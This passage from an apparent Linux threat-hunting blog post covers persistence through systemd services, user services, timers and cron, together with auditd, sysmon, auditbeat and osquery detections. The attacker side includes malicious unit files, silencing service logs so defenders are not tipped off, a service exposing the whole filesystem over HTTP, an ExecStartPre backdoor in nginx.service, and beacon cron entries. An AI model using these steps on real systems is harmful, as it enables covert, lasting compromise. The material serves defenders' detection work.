Jan 30 07:36:27 test-auditd python3[957]:   File "&lt;string&gt;", line 1, in &lt;module&gt;
Jan 30 07:36:27 test-auditd python3[957]: TimeoutError: [Errno 110] Connection timed out
Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Main process exited, code=exited, status=1/FAILURE
Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Failed with result 'exit-code'.
</code></pre></div></div>

<p>This is problematic because this is something that might tip off the defenders.</p>

<p>A generic way to prevent <code class="language-plaintext highlighter-rouge">stdout/stderr</code> from being logged is to include the following under <code class="language-plaintext highlighter-rouge">[Service]</code> in the unit file.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>StandardOutput=null
StandardError=null
</code></pre></div></div>

<p>So after modifying the script to fail gracefully, and modfying the name, description, and logging of the service we might get something like.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Jan 30 08:00:16 test-auditd systemd[1]: Started Periodic DNS Lookup Service.
Jan 30 08:00:16 test-auditd systemd[1]: dns.service: Succeeded.
</code></pre></div></div>

<h5 id="524-user-systemd-services">5.2.4 User Systemd Services</h5>

<p>There is less common class of <code class="language-plaintext highlighter-rouge">systemd</code> service called user services. They reside in a different set of unit paths that is defined when running <code class="language-plaintext highlighter-rouge">systemd-analyze unit-paths --user</code> .</p>

<p>Output for Debian 10:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ systemd-analyze unit-paths --user
...
/home/user/.config/systemd/user
/etc/systemd/user
...
/home/user/.local/share/systemd/user
/usr/local/share/systemd/user
/usr/share/systemd/user
/usr/local/lib/systemd/user
/usr/lib/systemd/user
...
</code></pre></div></div>

<p>We can add a <code class="language-plaintext highlighter-rouge">bad_user.service</code> in <code class="language-plaintext highlighter-rouge">/etc/systemd/user</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=Example of bad service

[Service]
ExecStart=&lt;SOME COMMAND&gt;

[Install]
WantedBy=default.target
</code></pre></div></div>

<p>We can enable this “globally” by creating a <code class="language-plaintext highlighter-rouge">/etc/systemd/user/default.target.wants</code> and creating a symlnk for <code class="language-plaintext highlighter-rouge">bad_user.service</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mkdir /etc/systemd/user/default.target.wants
ln -s /etc/systemd/user/bad_user.service /etc/systemd/user/default.target.wants/bad_user.service
</code></pre></div></div>

<p>After a reboot, the next time that a user logs in the machine, a dedicated <code class="language-plaintext highlighter-rouge">bad_user.service</code> is created. How is this different from the one we have before?</p>

<p>Below is an example of a process tree.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root] systemd (PID 1)
├─ [root] sshd.service
├─ [root] rsyslog.service
├─ [root] bad.service
├─ [root] cron.service
│
├─ [user0] systemd --user
│  ├─ [user0] bad_user.service
│
├─ [user1] systemd --user
   ├─ [user1] bad_user.service
</code></pre></div></div>

<p>Since <code class="language-plaintext highlighter-rouge">sshd</code>, <code class="language-plaintext highlighter-rouge">cron</code> and <code class="language-plaintext highlighter-rouge">bad.service</code> are system services, only a single instance is created (usually running as root). If <code class="language-plaintext highlighter-rouge">user0</code> and <code class="language-plaintext highlighter-rouge">user1</code> logs in, two instances of <code class="language-plaintext highlighter-rouge">bad_user.service</code> are created because <code class="language-plaintext highlighter-rouge">bad_user.service</code> is a user service.</p>

<p>Typically, an attacker needs to have root privileges to be able to create any system services. On the other hand, any user can create their own user unit files in <code class="language-plaintext highlighter-rouge">~/.config/systemd/user</code> This can be useful to maintain user persistence until the attackers get root.</p>

<p>As a regular user you can trigger these <code class="language-plaintext highlighter-rouge">systemctl</code> with the <code class="language-plaintext highlighter-rouge">--user</code> flag</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mkdir -p /home/user0/.config/systemd/user
vi /home/user0/.config/systemd/user/bad_user.service
systemctl daemon-reload --user
systemctl enable bad_user
systemctl start bad_user
</code></pre></div></div>

<h4 id="53-detection-addition-changes-in-systemd-unit-paths">5.3 Detection: Addition changes in systemd unit paths</h4>

<p>As we have seen, the installation of a service is simply the creation of a file and the creation of a symlink. We have to look for file modification and creation in persistent paths listed in <code class="language-plaintext highlighter-rouge">systemd-analyze unit-paths</code>. Based on this, and corroborated by <a href="https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/">[4]</a>, the five main candidates are the following:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">/etc/systemd/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/lib/systemd/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/usr/lib/systemd/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">&lt;USER HOME&gt;/.config/systemd/user</code></li>
</ul>

<p>If the attacker wants to properly run the service, then they might call <code class="language-plaintext highlighter-rouge">systemctl</code> or <code class="language-plaintext highlighter-rouge">service</code> command line so monitoring execution of these might also show malicious services. However, it as we’ve shown in the previous sections, it is possible to <code class="language-plaintext highlighter-rouge">enable</code> a service by manually creating the symlink.</p>

<h4 id="54-detecting-using-auditd-rules">5.4 Detecting using auditd rules</h4>

<p>Our reference <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">Neo23x0/auditd</a> rules give us the following rules.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /bin/systemctl -p x -k systemd
-w /etc/systemd/ -p wa -k systemd
</code></pre></div></div>

<p>This will fail to detect persistence installation such as those found in metasploit’s <code class="language-plaintext highlighter-rouge">service_persistence</code> <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/service_persistence.rb">[6]</a> where metasploit installs the service file in <code class="language-plaintext highlighter-rouge">/lib/systemd/system/#{service_filename}.service</code></p>

<p>For this, I recommend adding the following rules</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /usr/lib/systemd/ -p wa -k systemd
-w /lib/systemd/ -p wa -k systemd

# Directories may not exist
-w /usr/local/lib/systemd/ -p wa -k systemd
-w /usr/local/share/systemd/user -p wa -k systemd_user
-w /usr/share/systemd/user  -p wa -k systemd_user
</code></pre></div></div>
<p>The commented out rules may not be immediately applicable because they might not exist depending on the distro you are using. We cannot use auditd rules for directories that don’t exist at the time the service is started.</p>

<p>Example auditd logs are:</p>
<pre class="highlight">
<code>SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=55e618b75510 a2=241 a3=1b6 items=2 ppid=2719 pid=2738 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=5 comm="bash" exe="/usr/bin/bash" subj==unconfined <u><b>key="systemd"</b></u>
PATH item=0 <u><b>name="/etc/systemd/system/"</b></u> inode=90 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PATH item=1 <u><b>name="/etc/systemd/system/bad_auditd_example.service"</b></u> inode=11867 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PROCTITLE proctitle="bash"
</code></pre>

<h4 id="55-detecting-using-sysmon-rules">5.5 Detecting using sysmon rules</h4>

<h5 id="551-using-sysmon">5.5.1 Using sysmon</h5>

<p>For sysmon, we can see the following rule in <a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1543.002_CreateModSystemProcess_Systemd.xml">T1543.002_CreateModSystemProcess_Systemd.xml</a></p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nt">&lt;FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1543.002,TechniqueName=Create or Modify System Process: Systemd Service"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/etc/systemd/system<span class="nt">&lt;/TargetFilename&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/usr/lib/systemd/system<span class="nt">&lt;/TargetFilename&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/run/systemd/system/<span class="nt">&lt;/TargetFilename&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/systemd/user/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;/Rule&gt;</span>
      <span class="nt">&lt;/FileCreate&gt;</span>
</code></pre></div></div>

<p>Similar to the previous section, to detect metasploit, I recommend adding</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/lib/systemd/system/<span class="nt">&lt;/TargetFilename&gt;</span>
</code></pre></div></div>

<p>Example sysmon log:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0"?&gt;</span>
<span class="nt">&lt;Event&gt;</span>
  <span class="nt">&lt;System&gt;</span>
    <span class="nt">&lt;Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;EventID&gt;</span>11<span class="nt">&lt;/EventID&gt;</span>
    <span class="nt">&lt;Version&gt;</span>2<span class="nt">&lt;/Version&gt;</span>
    <span class="nt">&lt;Level&gt;</span>4<span class="nt">&lt;/Level&gt;</span>
    <span class="nt">&lt;Task&gt;</span>11<span class="nt">&lt;/Task&gt;</span>
    <span class="nt">&lt;Opcode&gt;</span>0<span class="nt">&lt;/Opcode&gt;</span>
    <span class="nt">&lt;Keywords&gt;</span>0x8000000000000000<span class="nt">&lt;/Keywords&gt;</span>
    <span class="nt">&lt;TimeCreated</span> <span class="na">SystemTime=</span><span class="s">"2022-01-30T09:55:21.054861000Z"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;EventRecordID&gt;</span>20<span class="nt">&lt;/EventRecordID&gt;</span>
    <span class="nt">&lt;Correlation/&gt;</span>
    <span class="nt">&lt;Execution</span> <span class="na">ProcessID=</span><span class="s">"2571"</span> <span class="na">ThreadID=</span><span class="s">"2571"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;Channel&gt;</span>Linux-Sysmon/Operational<span class="nt">&lt;/Channel&gt;</span>
    <span class="nt">&lt;Computer&gt;</span>test-auditd2<span class="nt">&lt;/Computer&gt;</span>
    <span class="nt">&lt;Security</span> <span class="na">UserId=</span><span class="s">"0"</span><span class="nt">/&gt;</span>
  <span class="nt">&lt;/System&gt;</span>
  <span class="nt">&lt;EventData&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">&gt;</span>TechniqueID=T1543.002,TechniqueName=Create or Modify Sys<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">&gt;</span>2022-01-30 09:55:21.062<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">&gt;</span>{f4c1cbc8-6089-61f6-8d07-9717e6550000}<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">&gt;</span>2738<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">&gt;</span>/usr/bin/bash<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"TargetFilename"</span><span class="nt">&gt;</span>/etc/systemd/system/bad_sysmon_example.service<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"CreationUtcTime"</span><span class="nt">&gt;</span>2022-01-30 09:55:21.062<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">&gt;</span>root<span class="nt">&lt;/Data&gt;</span>
  <span class="nt">&lt;/EventData&gt;</span>
<span class="nt">&lt;/Event&gt;</span>
</code></pre></div></div>

<h5 id="552-caveats-for-detecting-using-sysmon-rules">5.5.2 Caveats for detecting using sysmon rules</h5>

<p>It should be noted that this can only detect the file creation. We have shown some problems with this in the <a href="https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/#25-detection-using-sysmon-to-detect-user-creation">previous blog post</a>. To recap, this will fail if:</p>
<ol>
  <li>The <code class="language-plaintext highlighter-rouge">bad.service</code> file is created outside the directory and moved into the <code class="language-plaintext highlighter-rouge">systemd</code> directory</li>
  <li>An existing file is modified</li>
</ol>

<p>For example, the sysmon rules above will not be triggered by this script (while the auditd rules above will catch this).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat &gt; /tmp/bad_sysmon.service &lt;&lt; EOF
[Unit]
Description=Example of bad service

[Service]
ExecStart=python3 -m http.server --directory / 9998

[Install]
WantedBy=multi-user.target

EOF

mv /tmp/bad_sysmon.service /etc/systemd/system/bad_sysmon.service
ln -s /etc/systemd/system/bad_sysmon.service /tmp/bad_sysmon.service
mv /tmp/bad_sysmon.service /etc/systemd/system/multi-user.target.wants/bad_sysmon.service
</code></pre></div></div>

<h4 id="56-detecting-using-auditbeats">5.6 Detecting using auditbeats</h4>

<p>Of course, just like <code class="language-plaintext highlighter-rouge">auditd</code> we can use <code class="language-plaintext highlighter-rouge">auditbeat</code>’s file integrity monitoring for this. But it should be noted that the default configuration of <code class="language-plaintext highlighter-rouge">auditbeats</code> <em>does not monitor systemd files</em>. <a href="https://www.elastic.co/guide/en/beats/auditbeat/6.8/auditbeat-module-file_integrity.html">[7]</a>.</p>

<p>Although the default configuration does monitor <code class="language-plaintext highlighter-rouge">/etc/</code> , the setting <code class="language-plaintext highlighter-rouge">recursive</code> is set to <code class="language-plaintext highlighter-rouge">false</code>. This means that <code class="language-plaintext highlighter-rouge">/etc/system/systemd</code> is not monitored. Either set <code class="language-plaintext highlighter-rouge">recursive: true</code> or include the paths we’ve enumerated in the config.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>
  <span class="na">paths</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="s">/bin</span>
  <span class="pi">-</span> <span class="s">/usr/bin</span>
  <span class="pi">-</span> <span class="s">/sbin</span>
  <span class="pi">-</span> <span class="s">/usr/sbin</span>
  <span class="pi">-</span> <span class="s">/etc</span>
  <span class="pi">-</span> <span class="s">/etc/systemd/system</span>
  <span class="pi">-</span> <span class="s">/lib/systemd/system</span>
  <span class="pi">-</span> <span class="s">/usr/lib/systemd/system</span>
  <span class="c1"># recursive: true</span>
</code></pre></div></div>

<p>If setup properly, the creation of a service and running <code class="language-plaintext highlighter-rouge">systemctl daemon-reload</code> should result in the following logs</p>

<p><img src="/assets/posts/20220130/534_auditbeats_systemd.png" alt="" /></p>

<h4 id="57-hunting-using-osquery">5.7 Hunting using osquery</h4>

<h5 id="571-listing-systemd-unit-files-with-hashes">5.7.1 Listing systemd unit files with hashes</h5>

<p>Here we look for services</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SELECT id, description, fragment_path, md5  
FROM systemd_units 
JOIN hash ON (hash.path = systemd_units.fragment_path) 
WHERE id LIKE "%service";
</code></pre></div></div>

<p><img src="/assets/posts/20220130/581-osquery-systemd-units.png" alt="" /></p>

<h5 id="572-listing-startup-services">5.7.2 Listing startup services</h5>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">name</span><span class="p">,</span> <span class="k">source</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">status</span><span class="p">,</span> <span class="n">md5</span>
<span class="k">FROM</span> <span class="n">startup_items</span> 
<span class="k">JOIN</span> <span class="n">hash</span> 
<span class="k">USING</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">WHERE</span> <span class="n">path</span> <span class="k">LIKE</span> <span class="nv">"%.service"</span>  <span class="k">AND</span> <span class="n">status</span> <span class="o">=</span> <span class="nv">"inactive"</span>
<span class="k">ORDER</span> <span class="k">BY</span> <span class="n">name</span><span class="p">;</span>
</code></pre></div></div>

<p>This will return <code class="language-plaintext highlighter-rouge">startup_items</code> that are <code class="language-plaintext highlighter-rouge">*.service</code> with their path and hashes. These are the services that are <code class="language-plaintext highlighter-rouge">enabled</code>. 
<img src="/assets/posts/20220130/581-osquery--startup.png" alt="" /></p>

<h5 id="573-listing-processes-created-by-systemd">5.7.3 Listing processes created by systemd</h5>

<p>The services created by <code class="language-plaintext highlighter-rouge">systemd</code> will have a parent process ID of 1. So we can also look at weird processes that have a parent PID of 1. As suggested by [4], look for processes that run on <code class="language-plaintext highlighter-rouge">python</code>, <code class="language-plaintext highlighter-rouge">bash</code>, or <code class="language-plaintext highlighter-rouge">sh</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SELECT pid, name, path, cmdline, uid FROM processes WHERE parent = 1
</code></pre></div></div>

<p><img src="/assets/posts/20220130/581-osquery-systemd-processes.png" alt="" /></p>

<h5 id="574-listing-failed-services">5.7.4 Listing failed services</h5>

<p>If a backdoor or beacon was improperly configured, then this might fail.</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">id</span><span class="p">,</span> <span class="n">description</span><span class="p">,</span> <span class="n">fragment_path</span><span class="p">,</span> <span class="n">sub_state</span><span class="p">,</span> <span class="n">md5</span>  
<span class="k">FROM</span> <span class="n">systemd_units</span> 
<span class="k">JOIN</span> <span class="n">hash</span> 
<span class="k">ON</span> <span class="p">(</span><span class="n">hash</span><span class="p">.</span><span class="n">path</span> <span class="o">=</span> <span class="n">systemd_units</span><span class="p">.</span><span class="n">fragment_path</span><span class="p">)</span> 
<span class="k">WHERE</span> <span class="n">sub_state</span><span class="o">=</span><span class="s1">'failed'</span><span class="p">;</span>
</code></pre></div></div>

<p><img src="/assets/posts/20220130/581-osquery-failed-services.png" alt="" /></p>

<h4 id="58-additional-notes-modifying-existing-services">5.8 Additional notes: Modifying existing services</h4>

<p>Instead of creating a new systemd service, an attacker can just modify existing services. For example they can:</p>
<ul>
  <li>Modifying existing <code class="language-plaintext highlighter-rouge">.service</code> files</li>
  <li>Overriding existing <code class="language-plaintext highlighter-rouge">.service</code> files</li>
  <li>Modifying executable files used by <code class="language-plaintext highlighter-rouge">.service</code></li>
</ul>

<p>Let’s say our target is <code class="language-plaintext highlighter-rouge">nginx</code>. To know where the <code class="language-plaintext highlighter-rouge">nginx.service</code> is, we can use</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ systemctl status nginx
● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
</code></pre></div></div>

<p>We want to modify <code class="language-plaintext highlighter-rouge">/lib/systemd/system/nginx.service</code>. If we want to add a long running process with this without interrupting the real <code class="language-plaintext highlighter-rouge">nginx</code> process, we can use the <code class="language-plaintext highlighter-rouge">ExecStartPre</code> which runs a command before the actual process.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>...
[Service]
Type=forking
PIDFile=/run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t -q -g 'daemon on; master_process on;'
ExecStartPre=/root/run.sh # &lt;------------- ADD THIS
ExecStart=/usr/sbin/nginx -g 'daemon on; master_process on;'
...
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">systemd</code> can handle multiple <code class="language-plaintext highlighter-rouge">ExecStartPre</code> so we can add script. A template for <code class="language-plaintext highlighter-rouge">/root/run.sh</code> can be</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#! /bin/bash

&lt;COMMAND&gt; 2&gt;/dev/null &gt;/dev/null &amp; disown  
</code></pre></div></div>

<p>With that the next time <code class="language-plaintext highlighter-rouge">nginx</code> starts (next reboot) our <code class="language-plaintext highlighter-rouge">run.sh</code> will also run. However, if you want to restart then we use</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>systemctl daemon-reload
systemctl restart nginx
</code></pre></div></div>

<p>We have several options for modfying:</p>
<ol>
  <li>Modify <code class="language-plaintext highlighter-rouge">/lib/systemd/system/nginx.service</code> directly, but if <code class="language-plaintext highlighter-rouge">nginx</code> updates this file will be overwritten.</li>
  <li>Add an <code class="language-plaintext highlighter-rouge">nginx.service</code> in earlier paths as discussed in the (5.2.1) <code class="language-plaintext highlighter-rouge">/etc/systemd/system</code>
or <code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/system</code></li>
  <li>Create <code class="language-plaintext highlighter-rouge">/etc/systemd/system/nginx.service.d/local.conf</code> and this will update the config</li>
</ol>

<p>Sample contents of <code class="language-plaintext highlighter-rouge">/etc/systemd/system/nginx.service.d/local.conf</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Service]
ExecStartPre=/root/run.sh 
</code></pre></div></div>

<p>Similar to creation of a new service, detecting this would require a form of file integrity monitoring. So be careful with just whitelisting services when looking for malicious installations.</p>

<h3 id="6-scheduled-taskjob-systemd-timers">6 Scheduled Task/Job: Systemd Timers</h3>

<p><strong>MITRE:</strong>  <a href="https://attack.mitre.org/techniques/T1053/006/">https://attack.mitre.org/techniques/T1053/006/</a></p>

<h4 id="61-understanding-systemd-timers">6.1 Understanding systemd timers</h4>

<p>Previously, the services are triggered during boot time. But that is not the only way a service can be triggered. Another way is using <code class="language-plaintext highlighter-rouge">timers</code>.  We can list existing timers in a VM using <code class="language-plaintext highlighter-rouge">systemctl list-timers</code></p>

<p><img src="/assets/posts/20220130/6-systemctl-list-timers.png" alt="" /></p>

<p>This is an alternative to the more well known <code class="language-plaintext highlighter-rouge">cron</code>.</p>

<p>To understand this, there are two unit files we need:</p>
<ol>
  <li><code class="language-plaintext highlighter-rouge">SERVICE_NAME.timer</code></li>
  <li><code class="language-plaintext highlighter-rouge">SERVICE_NAME.service</code></li>
</ol>

<p>The <code class="language-plaintext highlighter-rouge">.service</code> file is almost the same as the one we just discussed.</p>

<p>Let’s first look at an example of timers in action. If you want to know the location of a timer we can run</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># systemctl status google-oslogin-cache.timer 
● google-oslogin-cache.timer - NSS cache refresh timer
   Loaded: loaded (/lib/systemd/system/google-oslogin-cache.timer; enabled; vendor preset: enabled)
   Active: active (waiting) since Sun 2022-01-30 09:34:40 UTC; 2h 39min ago

</code></pre></div></div>

<p>In this case, <code class="language-plaintext highlighter-rouge">google-oslogin-cache.timer</code> is in <code class="language-plaintext highlighter-rouge">/lib/systemd/system/google-oslogin-cache.timer</code>.</p>

<p>If we look at the content of <code class="language-plaintext highlighter-rouge">google-oslogin-cache.timer</code> we see:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=NSS cache refresh timer

[Timer]
OnBootSec=5
OnUnitActiveSec=6h

[Install]
WantedBy=timers.target
</code></pre></div></div>

<p>This means that</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">OnUnitActiveSec=6h</code>: how long to wait before triggering the service again</li>
  <li><code class="language-plaintext highlighter-rouge">WantedBy=timers.target</code>: the <code class="language-plaintext highlighter-rouge">.timer</code> should be treated as a <code class="language-plaintext highlighter-rouge">timer</code></li>
</ul>

<p>The associated <code class="language-plaintext highlighter-rouge">google-oslogin-cache.service</code> is very simple. The <code class="language-plaintext highlighter-rouge">[Install]</code> section empty because this service will be triggered by its timer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=NSS cache refresh

[Service]
Type=oneshot
ExecStart=/usr/bin/google_oslogin_nss_cache
</code></pre></div></div>

<h4 id="62-creating-a-malicious-timer">6.2 Creating a malicious timer</h4>

<p>With that, we know enough to create a malicious timer.</p>

<p>We created a file <code class="language-plaintext highlighter-rouge">/etc/systemd/system/scheduled_bad.timer</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=Bad timer

[Timer]
OnBootSec=5
OnUnitActiveSec=5m

[Install]
WantedBy=timers.target
</code></pre></div></div>

<p>We created its service  <code class="language-plaintext highlighter-rouge">/etc/systemd/system/scheduled_bad.service</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=Bad timer

[Service]
ExecStart=/opt/beacon.sh
</code></pre></div></div>

<p>And we now enable it and start the timer</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># systemctl daemon-reload 
systemctl enable scheduled_bad.timer
systemctl start scheduled_bad.timer
</code></pre></div></div>

<p>Similar to a regular service, the <code class="language-plaintext highlighter-rouge">enable</code> here created a symlink for each target in <code class="language-plaintext highlighter-rouge">WantedBy</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Created symlink /etc/systemd/system/timers.target.wants/scheduled_bad.timer → /etc/systemd/system/scheduled_bad.timer.
</code></pre></div></div>

<h4 id="63-detecting-creation-of-timers">6.3 Detecting creation of timers</h4>

<p>We won’t discuss much about the detection since it is almost the same as the creation of <code class="language-plaintext highlighter-rouge">systemd</code> services. To recap, we want to 
 look for file creation of <code class="language-plaintext highlighter-rouge">.service</code> and <code class="language-plaintext highlighter-rouge">.timer</code> in one of the following paths:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">/etc/systemd/system</code></li>
  <li><code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/system</code></li>
  <li><code class="language-plaintext highlighter-rouge">/lib/systemd/system</code></li>
  <li><code class="language-plaintext highlighter-rouge">/usr/lib/systemd/system</code></li>
</ul>

<h4 id="64-listing-timers-with-osquery">6.4 Listing timers with osquery</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SELECT id, description, sub_state, fragment_path  
FROM systemd_units 
WHERE id LIKE "%timer";
</code></pre></div></div>
<p><img src="/assets/posts/20220130/63-osquery-timers.png" alt="" /></p>

<h3 id="7-scheduled-taskjob-cron">7 Scheduled Task/Job: Cron</h3>

<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1053/003/">https://attack.mitre.org/techniques/T1053/003/</a>)</p>

<h4 id="71-introduction-to-cron">7.1 Introduction to cron</h4>

<p>Cron is the most traditional way to create scheduled tasks. The interesting directories for us are the following:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">/etc/crontab</code></li>
  <li><code class="language-plaintext highlighter-rouge">/etc/cron.d/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/etc/cron.{hourly,daily,weekly,monthly}/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/var/spool/cron/crontab/*</code></li>
</ul>

<p>We won’t go through how to define cronjobs. Please refer to <a href="https://crontab.guru/examples.html">https://crontab.guru/examples.html</a> for example common examples.</p>

<h4 id="72-creating-scheduled-cron-job">7.2 Creating scheduled cron job</h4>

<h5 id="721-user-crontab">7.2.1 User Crontab</h5>

<p>If you are a user you can modify your own <code class="language-plaintext highlighter-rouge">crontab</code>, using <code class="language-plaintext highlighter-rouge">crontab -e</code>. This will create a file in <code class="language-plaintext highlighter-rouge">/var/spool/cron/crontab/&lt;user&gt;</code>.</p>

<p>For example, we can add</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*/5 *  * * *    /opt/beacon.sh
</code></pre></div></div>

<p>To run <code class="language-plaintext highlighter-rouge">/opt/beacon.sh</code> every 5 minutes. If <code class="language-plaintext highlighter-rouge">root</code> runs <code class="language-plaintext highlighter-rouge">crontab -e</code> it will be <code class="language-plaintext highlighter-rouge">/var/spool/cron/crontab/root</code></p>

<h5 id="722-etccrontab">7.2.2 /etc/crontab</h5>

<p>The admin can modify <code class="language-plaintext highlighter-rouge">/etc/crontab</code> or <code class="language-plaintext highlighter-rouge">/etc/crontab.d/&lt;ARBITRARY FILE&gt;</code>. Unlike the files in <code class="language-plaintext highlighter-rouge">/var/spool/cron/*</code> where the user of the jobs are implied based on the whose crontab it is, the lines in <code class="language-plaintext highlighter-rouge">/etc/crontab</code> include a username.</p>

<p><code class="language-plaintext highlighter-rouge">vi /etc/crontab/</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*/10 *  * * *  root  /opt/beacon.sh
</code></pre></div></div>

<p>This will run <code class="language-plaintext highlighter-rouge">/opt/beacon.sh</code> every 10 minutes as <code class="language-plaintext highlighter-rouge">root</code></p>

